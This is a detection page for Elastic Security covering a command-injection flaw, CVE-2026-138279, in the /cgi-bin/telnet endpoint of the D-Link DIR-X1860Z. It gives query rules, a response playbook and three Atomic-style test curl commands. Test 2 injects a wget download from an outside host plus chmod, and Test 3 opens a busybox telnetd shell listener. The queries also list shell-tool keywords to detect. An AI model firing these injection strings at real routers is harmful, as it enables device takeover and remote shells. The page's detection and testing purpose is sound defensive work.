Skip to content
CVE-2026-138279 Elastic Security · Elastic

Detect D-Link DIR-X1860Z /cgi-bin/telnet OS Command Injection (CVE-2026-138279) in Elastic Security

Detects exploitation of CVE-2026-138279, a critical (CVSS 9.3) OS command injection vulnerability in D-Link DIR-X1860Z firmware 1.0.7.260821.161908. An unknown function in /www/cgi-bin/telnet mishandles attacker-controlled input to the argument x (CWE-77, CWE-78), allowing a remote attacker to inject shell commands. The attack can be initiated remotely. The exploit has been disclosed to the public. This detection surfaces HTTP requests to the /cgi-bin/telnet endpoint that contain shell metacharacters and command-injection patterns.

MITRE ATT&CK

Tactic
Initial Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-a6b40c3a76 · https://df00tech.com/detections/CVE-2026-138279 · licence: https://df00tech.com/detections/licence
network where (url.path : "*/cgi-bin/telnet*" or url.original : "*/cgi-bin/telnet*") and
  (
    url.query : ("*;*","*|*","*&&*","*`*","*$(*","*%3B*","*%7C*","*%26*","*wget*","*curl*","*busybox*","*telnetd*","*/bin/sh*","*chmod*") or
    url.original : ("*;*","*|*","*`*","*$(*","*wget*","*curl*","*busybox*")
  )
critical severity medium confidence

Elastic EQL query matching network/proxy events targeting the DIR-X1860Z /cgi-bin/telnet endpoint with command-injection indicators in the URL or query string.

Data Sources

Network Proxy LogsPacket CaptureWeb Application Firewall

Required Tables

logs-network_traffic.*filebeat-*logs-*

False Positives & Tuning

  • Scanner traffic from authorized security assessments
  • Lab or research traffic against the telnet CGI
  • URLs with encoded reserved characters in legitimate use

Other platforms for CVE-2026-138279


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated command injection probe against telnet CGI

    Expected signal: Proxy/firewall/WAF log entry for GET /cgi-bin/telnet?cmd=;id from the test host.

  2. Test 2 URL-encoded command injection with payload download pattern

    Expected signal: Web log entry containing the URL-encoded %3B and wget/chmod keywords to /cgi-bin/telnet.

  3. Test 3 busybox telnetd enablement injection simulation

    Expected signal: Web log entry for /cgi-bin/telnet containing backtick and 'busybox telnetd' indicators.


Response Playbook

Triage

  1. Confirm the target device is a D-Link DIR-X1860Z and identify its firmware version; CVE-2026-138279 affects 1.0.7.260821.161908. Treat any match on the /cgi-bin/telnet endpoint with shell metacharacters as high priority.
  2. Extract and URL-decode the full request URI and body to determine the exact injected command (e.g. wget of a payload, busybox telnetd, chmod of a dropped binary).
  3. Determine the source IP reputation and whether the request originated from the internet versus an internal scanner.
  4. Check whether the device responded with HTTP 200 or returned command output, indicating successful execution rather than a blind probe.

Containment

  1. Block the attacker source IP(s) at the perimeter firewall and disable WAN-side access to the router's web/management interface.
  2. Isolate the affected DIR-X1860Z from the network and, if a replacement is available, take it offline pending firmware remediation, since compromise of embedded devices cannot be trusted after exploitation.
  3. Disable the telnet service/CGI on the device if configuration access remains, and apply vendor firmware updates once released by D-Link.

Evidence Collection

  1. Preserve proxy, firewall and WAF logs showing the full request/response to /cgi-bin/telnet, including timestamps, source IPs and decoded payloads.
  2. If device access is possible, capture the router's running configuration, process list, /tmp and /var contents, and any cron/startup entries that may indicate persistence or dropped payloads.
  3. Collect PCAP of traffic to/from the device to recover any second-stage payload downloads (wget/curl URLs) observed in the injected command.

Escalation Criteria

  • !Escalate to incident response immediately if the device returned command output or any subsequent outbound connection to an attacker-controlled host is observed, indicating confirmed compromise.
  • !Escalate if the injected command includes payload retrieval (wget/curl/tftp), binary execution (busybox, chmod +x), or persistence (telnetd, cron), as this indicates active post-exploitation.
  • !Escalate to network/perimeter teams if multiple devices or multiple source IPs are involved, indicating a mass-exploitation campaign against exposed D-Link routers.

Investigation Guide

Forensic Artifacts

  • >Web/proxy access log entries for /cgi-bin/telnet containing shell metacharacters
  • >Router process list showing child shell processes spawned by the CGI and any wget/curl/telnetd invocations
  • >Dropped files in /tmp or /var and any new cron or rc startup entries on the device
  • >Outbound connections from the router to unfamiliar hosts (payload download or reverse shell)

Tuning Guidance

Scope the queries to network segments that actually contain D-Link DIR-X1860Z devices to reduce noise, and maintain an allowlist of authorized vulnerability scanner source IPs. If your proxy/WAF logs do not record full URLs or request bodies, enable verbose web logging so the injected command (after URL decoding) is captured. Tighten the metacharacter list if benign applications on the same path generate false positives, but retain high-signal keywords (wget, curl, busybox, telnetd, chmod) which rarely appear in legitimate router management traffic.


Hunting Queries

Hunt for command-injection probes and exploitation against the DIR-X1860Z telnet CGI, grouped by source IP to spot mass-scanning or repeated targeting.

Hunting — KQL
kql
// df00tech DF00-a6b40c3a76 · https://df00tech.com/detections/CVE-2026-138279 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/cgi-bin/telnet" | extend d = url_decode(RequestURL) | where d has_any (";","|","`","$(","wget","curl","busybox") | summarize count(), make_set(d) by SourceIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-a6b40c3a76 · https://df00tech.com/detections/CVE-2026-138279 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=firewall uri_path="*/cgi-bin/telnet*" | eval d=urldecode(url) | where match(d,"[;|&`]|wget|curl|busybox") | stats count values(d) by src_ip

Atomic Red Team Tests

Test 1 Simulated command injection probe against telnet CGI
linux

Sends an HTTP request to a lab DIR-X1860Z (or mock web server) targeting /cgi-bin/telnet with a shell metacharacter and a benign command to generate detection telemetry.

Command

bash
curl -sk "http://192.0.2.10/cgi-bin/telnet?cmd=;id" -o /dev/null -w '%{http_code}\n'

Cleanup

bash
echo 'No cleanup required; request-only test.'

Expected Telemetry

Proxy/firewall/WAF log entry for GET /cgi-bin/telnet?cmd=;id from the test host.

Expected Detection

KQL/SPL rules fire on the /cgi-bin/telnet path containing the ';' metacharacter.

Test 2 URL-encoded command injection with payload download pattern
linux

Simulates an exploitation attempt that URL-encodes a semicolon and references wget to retrieve a second-stage payload, against a lab/mock endpoint.

Command

bash
curl -sk "http://192.0.2.10/cgi-bin/telnet?p=%3Bwget%20http%3A%2F%2F198.51.100.5%2Fx%3Bchmod%20%2Bx%20x" -o /dev/null

Cleanup

bash
echo 'No cleanup required; request-only test.'

Expected Telemetry

Web log entry containing the URL-encoded %3B and wget/chmod keywords to /cgi-bin/telnet.

Expected Detection

Detection matches after URL decoding reveals ';wget' and 'chmod' command-injection indicators.

Test 3 busybox telnetd enablement injection simulation
linux

Simulates an attacker enabling a telnet daemon via the vulnerable CGI, a common post-exploitation step on embedded D-Link devices, against a mock web server.

Command

bash
curl -sk "http://192.0.2.10/cgi-bin/telnet?c=\`busybox telnetd -l /bin/sh -p 9999\`" -o /dev/null

Cleanup

bash
pkill -f 'telnetd -p 9999' 2>/dev/null || echo 'nothing to clean'

Expected Telemetry

Web log entry for /cgi-bin/telnet containing backtick and 'busybox telnetd' indicators.

Expected Detection

Detection fires on the 'busybox' / 'telnetd' keywords and backtick metacharacter in the request.

Related Detections